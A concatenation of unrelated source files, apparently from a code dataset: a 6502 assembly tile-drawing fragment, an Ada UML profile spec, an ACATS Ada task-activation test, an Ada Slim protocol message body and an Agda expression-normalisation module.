sta $FEED, x
// load the character colour for same position
tax
LoadColour:
lda $FEED, x
ldx TileScreenLocations, y
Colour:
sta $FEED, x
//check whether all tiles loaded
iny
cpy #4
bne !FourTileLoop-
// FourTileLoop
jsr NextColumn
cpx #20
bne TileColumnLoop
// TileColumnLoop
jsr NextRow
cpx #13
bne TileRowLoop
// TileRowLoop
rts
NextColumn:
clc
lda Tile + 1
adc #ONE
sta Tile + 1
lda Tile + 2
adc #ZERO
sta Tile + 2
clc
lda Screen + 1
adc #2
sta Screen + 1
lda Screen + 2
adc #0
sta Screen + 2
// move to the next screen row start address
lda Colour + 1
adc #2
sta Colour + 1
lda Colour + 2
adc #0
sta Colour + 2
inc Column
ldx Column
rts
NextRow:
// move to the next screen row start address
clc
lda Screen + 1
adc #40
sta Screen + 1
lda Screen + 2
adc #0
sta Screen + 2
// move to the next screen row startaddress
lda Colour + 1
adc #40
sta Colour + 1
lda Colour + 2
adc #0
sta Colour + 2
inc Row
ldx Row
rts
}
} |
source/amf/uml/amf-internals-uml_profiles.ads | svn2github/matreshka | 24 | 7376 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with AMF.Internals.UML_Packages;
with AMF.String_Collections;
with AMF.UML.Constraints.Collections;
with AMF.UML.Dependencies.Collections;
with AMF.UML.Element_Imports.Collections;
with AMF.UML.Named_Elements.Collections;
with AMF.UML.Namespaces;
with AMF.UML.Package_Imports.Collections;
with AMF.UML.Package_Merges.Collections;
with AMF.UML.Packageable_Elements.Collections;
with AMF.UML.Packages.Collections;
with AMF.UML.Parameterable_Elements.Collections;
with AMF.UML.Profile_Applications.Collections;
with AMF.UML.Profiles;
with AMF.UML.Stereotypes.Collections;
with AMF.UML.String_Expressions;
with AMF.UML.Template_Bindings.Collections;
with AMF.UML.Template_Parameters;
with AMF.UML.Template_Signatures;
with AMF.UML.Types.Collections;
with AMF.Visitors;
package AMF.Internals.UML_Profiles is
type UML_Profile_Proxy is
limited new AMF.Internals.UML_Packages.UML_Package_Proxy
and AMF.UML.Profiles.UML_Profile with null record;
overriding function Get_Metaclass_Reference
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Element_Imports.Collections.Set_Of_UML_Element_Import;
-- Getter of Profile::metaclassReference.
--
-- References a metaclass that may be extended.
overriding function Get_Metamodel_Reference
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Package_Imports.Collections.Set_Of_UML_Package_Import;
-- Getter of Profile::metamodelReference.
--
-- References a package containing (directly or indirectly) metaclasses
-- that may be extended.
overriding function Get_URI
(Self : not null access constant UML_Profile_Proxy)
return AMF.Optional_String;
-- Getter of Package::URI.
--
-- Provides an identifier for the package that can be used for many
-- purposes. A URI is the universally unique identification of the package
-- following the IETF URI specification, RFC 2396
-- http://www.ietf.org/rfc/rfc2396.txt and it must comply with those
-- syntax rules.
overriding procedure Set_URI
(Self : not null access UML_Profile_Proxy;
To : AMF.Optional_String);
-- Setter of Package::URI.
--
-- Provides an identifier for the package that can be used for many
-- purposes. A URI is the universally unique identification of the package
-- following the IETF URI specification, RFC 2396
-- http://www.ietf.org/rfc/rfc2396.txt and it must comply with those
-- syntax rules.
overriding function Get_Nested_Package
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Packages.Collections.Set_Of_UML_Package;
-- Getter of Package::nestedPackage.
--
-- References the packaged elements that are Packages.
overriding function Get_Nesting_Package
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Packages.UML_Package_Access;
-- Getter of Package::nestingPackage.
--
-- References the Package that owns this Package.
overriding procedure Set_Nesting_Package
(Self : not null access UML_Profile_Proxy;
To : AMF.UML.Packages.UML_Package_Access);
-- Setter of Package::nestingPackage.
--
-- References the Package that owns this Package.
overriding function Get_Owned_Stereotype
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Stereotypes.Collections.Set_Of_UML_Stereotype;
-- Getter of Package::ownedStereotype.
--
-- References the Stereotypes that are owned by the Package
overriding function Get_Owned_Type
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Types.Collections.Set_Of_UML_Type;
-- Getter of Package::ownedType.
--
-- References the packaged elements that are Types.
overriding function Get_Package_Merge
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Package_Merges.Collections.Set_Of_UML_Package_Merge;
-- Getter of Package::packageMerge.
--
-- References the PackageMerges that are owned by this Package.
overriding function Get_Profile_Application
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Profile_Applications.Collections.Set_Of_UML_Profile_Application;
-- Getter of Package::profileApplication.
--
-- References the ProfileApplications that indicate which profiles have
-- been applied to the Package.
overriding function Get_Element_Import
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Element_Imports.Collections.Set_Of_UML_Element_Import;
-- Getter of Namespace::elementImport.
--
-- References the ElementImports owned by the Namespace.
overriding function Get_Imported_Member
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Packageable_Elements.Collections.Set_Of_UML_Packageable_Element;
-- Getter of Namespace::importedMember.
--
-- References the PackageableElements that are members of this Namespace
-- as a result of either PackageImports or ElementImports.
overriding function Get_Member
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Named_Elements.Collections.Set_Of_UML_Named_Element;
-- Getter of Namespace::member.
--
-- A collection of NamedElements identifiable within the Namespace, either
-- by being owned or by being introduced by importing or inheritance.
overriding function Get_Owned_Member
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Named_Elements.Collections.Set_Of_UML_Named_Element;
-- Getter of Namespace::ownedMember.
--
-- A collection of NamedElements owned by the Namespace.
overriding function Get_Owned_Rule
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Constraints.Collections.Set_Of_UML_Constraint;
-- Getter of Namespace::ownedRule.
--
-- Specifies a set of Constraints owned by this Namespace.
overriding function Get_Package_Import
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Package_Imports.Collections.Set_Of_UML_Package_Import;
-- Getter of Namespace::packageImport.
--
-- References the PackageImports owned by the Namespace.
overriding function Get_Client_Dependency
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Dependencies.Collections.Set_Of_UML_Dependency;
-- Getter of NamedElement::clientDependency.
--
-- Indicates the dependencies that reference the client.
overriding function Get_Name_Expression
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.String_Expressions.UML_String_Expression_Access;
-- Getter of NamedElement::nameExpression.
--
-- The string expression used to define the name of this named element.
overriding procedure Set_Name_Expression
(Self : not null access UML_Profile_Proxy;
To : AMF.UML.String_Expressions.UML_String_Expression_Access);
-- Setter of NamedElement::nameExpression.
--
-- The string expression used to define the name of this named element.
overriding function Get_Namespace
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Namespaces.UML_Namespace_Access;
-- Getter of NamedElement::namespace.
--
-- Specifies the namespace that owns the NamedElement.
overriding function Get_Qualified_Name
(Self : not null access constant UML_Profile_Proxy)
return AMF.Optional_String;
-- Getter of NamedElement::qualifiedName.
--
-- A name which allows the NamedElement to be identified within a
-- hierarchy of nested Namespaces. It is constructed from the names of the
-- containing namespaces starting at the root of the hierarchy and ending
-- with the name of the NamedElement itself.
overriding function Get_Owning_Template_Parameter
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Template_Parameters.UML_Template_Parameter_Access;
-- Getter of ParameterableElement::owningTemplateParameter.
--
-- The formal template parameter that owns this element.
overriding procedure Set_Owning_Template_Parameter
(Self : not null access UML_Profile_Proxy;
To : AMF.UML.Template_Parameters.UML_Template_Parameter_Access);
-- Setter of ParameterableElement::owningTemplateParameter.
--
-- The formal template parameter that owns this element.
overriding function Get_Template_Parameter
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Template_Parameters.UML_Template_Parameter_Access;
-- Getter of ParameterableElement::templateParameter.
--
-- The template parameter that exposes this element as a formal parameter.
overriding procedure Set_Template_Parameter
(Self : not null access UML_Profile_Proxy;
To : AMF.UML.Template_Parameters.UML_Template_Parameter_Access);
-- Setter of ParameterableElement::templateParameter.
--
-- The template parameter that exposes this element as a formal parameter.
overriding function Get_Owned_Template_Signature
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Template_Signatures.UML_Template_Signature_Access;
-- Getter of TemplateableElement::ownedTemplateSignature.
--
-- The optional template signature specifying the formal template
-- parameters.
overriding procedure Set_Owned_Template_Signature
(Self : not null access UML_Profile_Proxy;
To : AMF.UML.Template_Signatures.UML_Template_Signature_Access);
-- Setter of TemplateableElement::ownedTemplateSignature.
--
-- The optional template signature specifying the formal template
-- parameters.
overriding function Get_Template_Binding
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Template_Bindings.Collections.Set_Of_UML_Template_Binding;
-- Getter of TemplateableElement::templateBinding.
--
-- The optional bindings from this element to templates.
overriding function All_Applicable_Stereotypes
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Stereotypes.Collections.Set_Of_UML_Stereotype;
-- Operation Package::allApplicableStereotypes.
--
-- The query allApplicableStereotypes() returns all the directly or
-- indirectly owned stereotypes, including stereotypes contained in
-- sub-profiles.
overriding function Containing_Profile
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Profiles.UML_Profile_Access;
-- Operation Package::containingProfile.
--
-- The query containingProfile() returns the closest profile directly or
-- indirectly containing this package (or this package itself, if it is a
-- profile).
overriding function Makes_Visible
(Self : not null access constant UML_Profile_Proxy;
El : AMF.UML.Named_Elements.UML_Named_Element_Access)
return Boolean;
-- Operation Package::makesVisible.
--
-- The query makesVisible() defines whether a Package makes an element
-- visible outside itself. Elements with no visibility and elements with
-- public visibility are made visible.
overriding function Nested_Package
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Packages.Collections.Set_Of_UML_Package;
-- Operation Package::nestedPackage.
--
-- Missing derivation for Package::/nestedPackage : Package
overriding function Owned_Stereotype
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Stereotypes.Collections.Set_Of_UML_Stereotype;
-- Operation Package::ownedStereotype.
--
-- Missing derivation for Package::/ownedStereotype : Stereotype
overriding function Owned_Type
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Types.Collections.Set_Of_UML_Type;
-- Operation Package::ownedType.
--
-- Missing derivation for Package::/ownedType : Type
overriding function Visible_Members
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Packageable_Elements.Collections.Set_Of_UML_Packageable_Element;
-- Operation Package::visibleMembers.
--
-- The query visibleMembers() defines which members of a Package can be
-- accessed outside it.
overriding function Exclude_Collisions
(Self : not null access constant UML_Profile_Proxy;
Imps : AMF.UML.Packageable_Elements.Collections.Set_Of_UML_Packageable_Element)
return AMF.UML.Packageable_Elements.Collections.Set_Of_UML_Packageable_Element;
-- Operation Namespace::excludeCollisions.
--
-- The query excludeCollisions() excludes from a set of
-- PackageableElements any that would not be distinguishable from each
-- other in this namespace.
overriding function Get_Names_Of_Member
(Self : not null access constant UML_Profile_Proxy;
Element : AMF.UML.Named_Elements.UML_Named_Element_Access)
return AMF.String_Collections.Set_Of_String;
-- Operation Namespace::getNamesOfMember.
--
-- The query getNamesOfMember() takes importing into account. It gives
-- back the set of names that an element would have in an importing
-- namespace, either because it is owned, or if not owned then imported
-- individually, or if not individually then from a package.
-- The query getNamesOfMember() gives a set of all of the names that a
-- member would have in a Namespace. In general a member can have multiple
-- names in a Namespace if it is imported more than once with different
-- aliases. The query takes account of importing. It gives back the set of
-- names that an element would have in an importing namespace, either
-- because it is owned, or if not owned then imported individually, or if
-- not individually then from a package.
overriding function Import_Members
(Self : not null access constant UML_Profile_Proxy;
Imps : AMF.UML.Packageable_Elements.Collections.Set_Of_UML_Packageable_Element)
return AMF.UML.Packageable_Elements.Collections.Set_Of_UML_Packageable_Element;
-- Operation Namespace::importMembers.
--
-- The query importMembers() defines which of a set of PackageableElements
-- are actually imported into the namespace. This excludes hidden ones,
-- i.e., those which have names that conflict with names of owned members,
-- and also excludes elements which would have the same name when imported.
overriding function Imported_Member
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Packageable_Elements.Collections.Set_Of_UML_Packageable_Element;
-- Operation Namespace::importedMember.
--
-- The importedMember property is derived from the ElementImports and the
-- PackageImports. References the PackageableElements that are members of
-- this Namespace as a result of either PackageImports or ElementImports.
overriding function Members_Are_Distinguishable
(Self : not null access constant UML_Profile_Proxy)
return Boolean;
-- Operation Namespace::membersAreDistinguishable.
--
-- The Boolean query membersAreDistinguishable() determines whether all of
-- the namespace's members are distinguishable within it.
overriding function Owned_Member
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Named_Elements.Collections.Set_Of_UML_Named_Element;
-- Operation Namespace::ownedMember.
--
-- Missing derivation for Namespace::/ownedMember : NamedElement
overriding function All_Owning_Packages
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Packages.Collections.Set_Of_UML_Package;
-- Operation NamedElement::allOwningPackages.
--
-- The query allOwningPackages() returns all the directly or indirectly
-- owning packages.
overriding function Is_Distinguishable_From
(Self : not null access constant UML_Profile_Proxy;
N : AMF.UML.Named_Elements.UML_Named_Element_Access;
Ns : AMF.UML.Namespaces.UML_Namespace_Access)
return Boolean;
-- Operation NamedElement::isDistinguishableFrom.
--
-- The query isDistinguishableFrom() determines whether two NamedElements
-- may logically co-exist within a Namespace. By default, two named
-- elements are distinguishable if (a) they have unrelated types or (b)
-- they have related types but different names.
overriding function Namespace
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Namespaces.UML_Namespace_Access;
-- Operation NamedElement::namespace.
--
-- Missing derivation for NamedElement::/namespace : Namespace
overriding function Is_Compatible_With
(Self : not null access constant UML_Profile_Proxy;
P : AMF.UML.Parameterable_Elements.UML_Parameterable_Element_Access)
return Boolean;
-- Operation ParameterableElement::isCompatibleWith.
--
-- The query isCompatibleWith() determines if this parameterable element
-- is compatible with the specified parameterable element. By default
-- parameterable element P is compatible with parameterable element Q if
-- the kind of P is the same or a subtype as the kind of Q. Subclasses
-- should override this operation to specify different compatibility
-- constraints.
overriding function Is_Template_Parameter
(Self : not null access constant UML_Profile_Proxy)
return Boolean;
-- Operation ParameterableElement::isTemplateParameter.
--
-- The query isTemplateParameter() determines if this parameterable
-- element is exposed as a formal template parameter.
overriding function Is_Template
(Self : not null access constant UML_Profile_Proxy)
return Boolean;
-- Operation TemplateableElement::isTemplate.
--
-- The query isTemplate() returns whether this templateable element is
-- actually a template.
overriding function Parameterable_Elements
(Self : not null access constant UML_Profile_Proxy)
return AMF.UML.Parameterable_Elements.Collections.Set_Of_UML_Parameterable_Element;
-- Operation TemplateableElement::parameterableElements.
--
-- The query parameterableElements() returns the set of elements that may
-- be used as the parametered elements for a template parameter of this
-- templateable element. By default, this set includes all the owned
-- elements. Subclasses may override this operation if they choose to
-- restrict the set of parameterable elements.
overriding procedure Enter_Element
(Self : not null access constant UML_Profile_Proxy;
Visitor : in out AMF.Visitors.Abstract_Visitor'Class;
Control : in out AMF.Visitors.Traverse_Control);
-- Dispatch call to corresponding subprogram of visitor interface.
overriding procedure Leave_Element
(Self : not null access constant UML_Profile_Proxy;
Visitor : in out AMF.Visitors.Abstract_Visitor'Class;
Control : in out AMF.Visitors.Traverse_Control);
-- Dispatch call to corresponding subprogram of visitor interface.
overriding procedure Visit_Element
(Self : not null access constant UML_Profile_Proxy;
Iterator : in out AMF.Visitors.Abstract_Iterator'Class;
Visitor : in out AMF.Visitors.Abstract_Visitor'Class;
Control : in out AMF.Visitors.Traverse_Control);
-- Dispatch call to corresponding subprogram of iterator interface.
end AMF.Internals.UML_Profiles;
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c9/c93006a.ada | best08618/asylo | 7 | 26849 | <filename>gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c9/c93006a.ada
-- C93006A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT A TASK OBJECT DECLARED IN A LIBRARY PACKAGE SPEC IS
-- ACTIVATED EVEN IF THE PACKAGE HAS NO BODY.
-- JEAN-<NAME> 16-MAR-1984
-- JBG 6/1/84
-- PWN 09/11/94 REMOVED PRAGMA PRIORITY FOR ADA 9X.
WITH SYSTEM; USE SYSTEM;
PACKAGE C93006A0 IS
TASK TYPE TT IS
ENTRY E;
END;
END C93006A0;
PACKAGE BODY C93006A0 IS
TASK BODY TT IS
BEGIN
ACCEPT E;
END;
END C93006A0;
WITH C93006A0; USE C93006A0;
PRAGMA ELABORATE(C93006A0);
PACKAGE C93006A1 IS
T : TT;
END C93006A1;
with Impdef;
WITH REPORT, C93006A1, SYSTEM;
USE REPORT, C93006A1, SYSTEM;
PROCEDURE C93006A IS
BEGIN
TEST("C93006A", "CHECK ACTIVATION OF TASK DECLARED IN PACKAGE " &
"SPECIFICATION");
SELECT
T.E;
OR
DELAY 60.0 * Impdef.One_Second;
FAILED("RENDEZVOUS NOT ACCEPTED WITHIN 60 SECONDS");
END SELECT;
RESULT;
END C93006A;
|
source/slim-messages-bled.adb | reznikmm/slimp | 0 | 2836 | -- Copyright (c) 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
with Slim.Message_Visiters;
package body Slim.Messages.bled is
List : constant Field_Description_Array :=
(1 => (Uint_16_Field, 1)); -- LEDs on
----------------
-- Enable_LED --
----------------
not overriding procedure Enable_LED (Self : in out Bled_Message) is
begin
Self.Data_16 := (1 => 16#FFFF#);
end Enable_LED;
----------
-- Read --
----------
overriding function Read
(Data : not null access
League.Stream_Element_Vectors.Stream_Element_Vector)
return Bled_Message is
begin
return Result : Bled_Message do
Read_Fields (Result, List, Data.all);
end return;
end Read;
-----------
-- Visit --
-----------
overriding procedure Visit
(Self : not null access Bled_Message;
Visiter : in out Slim.Message_Visiters.Visiter'Class) is
begin
Visiter.bled (Self);
end Visit;
-----------
-- Write --
-----------
overriding procedure Write
(Self : Bled_Message;
Tag : out Message_Tag;
Data : out League.Stream_Element_Vectors.Stream_Element_Vector) is
begin
Tag := "bled";
Write_Fields (Self, List, Data);
end Write;
end Slim.Messages.bled;
|
src/Tactic/Nat/NF.agda | lclem/agda-prelude | 0 | 3452 | <reponame>lclem/agda-prelude
module Tactic.Nat.NF where
open import Prelude
open import Tactic.Nat.Exp
open import Container.Bag
Tm : Set → Set
Tm Atom = List Atom
NF : Set → Set
NF Atom = Bag (Tm Atom)
product1 : List Nat → Nat
product1 [] = 1
product1 (x ∷ xs) = foldl (λ n x → n * x) x xs
module _ {Atom : Set} {{_ : Ord Atom}} where
infixl 6 _+nf_
infixl 7 _*nf_
_+nf_ : NF Atom → NF Atom → NF Atom
_+nf_ a b = union a b
merge : Tm Atom → Tm Atom → Tm Atom
merge x [] = x
merge [] y = y
merge (i ∷ x) (j ∷ y) =
if i <? j then i ∷ merge x (j ∷ y)
else j ∷ merge (i ∷ x) y
nf-sort : NF Atom → NF Atom
nf-sort [] = []
nf-sort (x ∷ nf) = union [ x ] (nf-sort nf)
mulTm : Nat × Tm Atom → Nat × Tm Atom → Nat × Tm Atom
mulTm (a , x) (b , y) = a * b , merge x y
_*nf_ : NF Atom → NF Atom → NF Atom
[] *nf b = []
(t ∷ a) *nf b = nf-sort (map (mulTm t) b) +nf (a *nf b)
-- Normalising expressions --
norm : Exp Atom → NF Atom
norm (var x) = [ 1 , [ x ] ]
norm (lit 0) = []
norm (lit n) = [ n , [] ]
norm (e ⟨+⟩ e₁) = norm e +nf norm e₁
norm (e ⟨*⟩ e₁) = norm e *nf norm e₁
⟦_⟧t : Nat × Tm Atom → Env Atom → Nat
⟦ k , v ⟧t ρ = k * productR (map ρ v)
⟦_⟧n : NF Atom → Env Atom → Nat
⟦ nf ⟧n ρ = sumR (map (flip ⟦_⟧t ρ) nf)
⟦_⟧ts : Nat × Tm Atom → Env Atom → Nat
⟦ 1 , v ⟧ts ρ = product1 (map ρ v)
⟦ k , v ⟧ts ρ = product1 (map ρ v) * k
⟦_⟧ns : NF Atom → Env Atom → Nat
⟦ [] ⟧ns ρ = 0
⟦ t ∷ nf ⟧ns ρ = foldl (λ n t → n + ⟦ t ⟧ts ρ) (⟦ t ⟧ts ρ) nf
cancel : NF Atom → NF Atom → NF Atom × NF Atom
cancel nf₁ [] = nf₁ , []
cancel [] nf₂ = [] , nf₂
cancel ((i , x) ∷ nf₁) ((j , y) ∷ nf₂) with compare x y
... | less _ = first (_∷_ (i , x)) (cancel nf₁ ((j , y) ∷ nf₂))
... | greater _ = second (_∷_ (j , y)) (cancel ((i , x) ∷ nf₁) nf₂)
... | equal _ with compare i j
... | less (diff k _) = second (_∷_ (suc k , y)) (cancel nf₁ nf₂)
... | greater (diff k _) = first (_∷_ (suc k , x)) (cancel nf₁ nf₂)
... | equal _ = cancel nf₁ nf₂
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.